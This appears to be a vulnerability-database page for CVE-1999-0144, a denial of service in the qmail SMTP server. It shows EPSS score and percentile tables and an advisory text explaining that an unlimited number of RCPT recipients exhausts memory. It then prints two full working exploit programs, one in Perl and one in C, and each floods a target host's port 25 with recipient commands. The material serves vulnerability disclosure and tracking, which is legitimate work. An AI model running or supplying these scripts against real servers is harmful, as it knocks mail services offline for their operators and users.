CVE-1999-0144 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	2.81%	–	–
2022-03-13	–	–	2.81%	–	–
2022-04-03	–	–	2.81%	–	–
2022-04-17	–	–	2.81%	–	–
2022-10-16	–	–	2.81%	–	–
2023-03-12	–	–	–	0.08%	–
2023-11-05	–	–	–	0.08%	–
2023-12-03	–	–	–	0.08%	–
2024-02-11	–	–	–	0.08%	–
2024-03-03	–	–	–	0.08%	–
2024-06-02	–	–	–	0.08%	–
2024-06-23	–	–	–	0.08%	–
2024-11-10	–	–	–	0.08%	–
2024-12-22	–	–	–	0.12%	–
2025-01-19	–	–	–	0.12%	–
2025-01-19	–	–	–	0.12%	–
2025-03-18	–	–	–	–	1.67%
2025-03-30	–	–	–	–	1.99%
2025-04-15	–	–	–	–	1.99%
2025-04-15	–	–	–	–	1.99,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	64%
2022-03-13	65%
2022-04-03	81%
2022-04-17	82%
2022-10-16	83%
2023-03-12	33%
2023-11-05	34%
2023-12-03	33%
2024-02-11	32%
2024-03-03	33%
2024-06-02	34%
2024-06-23	35%
2024-11-10	36%
2024-12-22	47%
2025-01-19	48%
2025-01-19	48%
2025-03-18	81%
2025-03-30	82%
2025-04-15	83%
2025-04-15	83%

source: https://www.securityfocus.com/bid/2237/info qmail is an e-mail server package developed by Dan Bernstein. The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding. This behaviour is due to the dynamically allocated memory being exhausted. The condition occurs in situations where resource limits are not imposed on the server process. Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers. Once affected, a restart of the qmail smtp service is required in order to gain normal functionality. It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers. #!/usr/local/bin/perl -w # $Id: qmail.pl,v 1.4 1997/06/12 02:12:42 super Exp $ require 5.002; use strict; use Socket; if(!($ARGV[0])){print("usage: $0 FQDN","\n");exit;} my $port = 25; my $proto = getprotobyname("tcp"); my $iaddr = inet_aton($ARGV[0]) || die "No such host: $ARGV[0]"; my $paddr = sockaddr_in($port, $iaddr); socket(SKT, AF_INET, SOCK_STREAM, $proto) || die "socket() $!"; connect(SKT, $paddr) && print("Connected established.\n") || die "connect() $!"; send(SKT,"mail from: <me\@me>\n",0) || die "send() $!"; my $infstr = "rcpt to: <me\@" . $ARGV[0] . ">\n"; print("Attacking..","\n"); while(<SKT>){ send(SKT,$infstr,0) || die "send() $!"; } die "Connection lost!";

// source: https://www.securityfocus.com/bid/2237/info qmail is an e-mail server package developed by Dan Bernstein. The qmail smtp server is subject to a denial of service. By specifying a large number of addresses in the recipient field (RCPT), qmail will stop responding. This behaviour is due to the dynamically allocated memory being exhausted. The condition occurs in situations where resource limits are not imposed on the server process. Many systems may be running qmail without resource limits. The existence of working exploit code poses a threat to these vulnerable qmail servers. Once affected, a restart of the qmail smtp service is required in order to gain normal functionality. It should be noted that this type of threat is not limited to qmail. Resource exhaustion attacks can be used against many internet services by remote attackers. /* * qmail-dos-2 - run a qmail system out of swap space by feeding an infinite * amount of recipients. * * Usage: qmail-dos-2 fully-qualified-hostname * * Author: Wietse Venema. The author is not responsible for abuse of this * program. Use at your own risk. */ #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #include <string.h> #include <stdarg.h> #include <errno.h> #include <stdio.h> void fatal(char *fmt,...) { va_list ap; va_start(ap, fmt); vfprintf(stderr, fmt, ap); va_end(ap); putc('\n', stderr); exit(1); } chat(FILE * fp, char *fmt,...) { char buf[BUFSIZ]; va_list ap; fseek(fp, 0L, SEEK_SET); va_start(ap, fmt); vfprintf(fp, fmt, ap); va_end(ap); fputs("\r\n", fp); if (fflush(fp)) fatal("connection lost"); fseek(fp, 0L, SEEK_SET); if (fgets(buf, sizeof(buf), fp) == 0) fatal("connection lost"); if (atoi(buf) / 100 != 2) fatal("%s", buf); } int main(int argc, char **argv) { struct sockaddr_in sin; struct hostent *hp; char buf[BUFSIZ]; int sock; FILE *fp; if (argc != 2) fatal("usage: %s host", argv[0]); if ((hp = gethostbyname(argv[1])) == 0) fatal("host %s not found", argv[1]); memset((char *) &sin, 0, sizeof(sin)); sin.sin_family = AF_INET; memcpy((char *) &sin.sin_addr, hp->h_addr, sizeof(sin.sin_addr)); sin.sin_port = htons(25); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) fatal("socket: %s", strerror(errno)); if (connect(sock, (struct sockaddr *) & sin, sizeof(sin)) < 0) fatal("connect to %s: %s", argv[1], strerror(errno)); if ((fp = fdopen(sock, "r+")) == 0) fatal("fdopen: %s", strerror(errno)); if (fgets(buf, sizeof(buf), fp) == 0) fatal("connection lost"); chat(fp, "mail from:<me@me>", fp); for (;;) chat(fp, "rcpt to:<me@%s>", argv[1]); }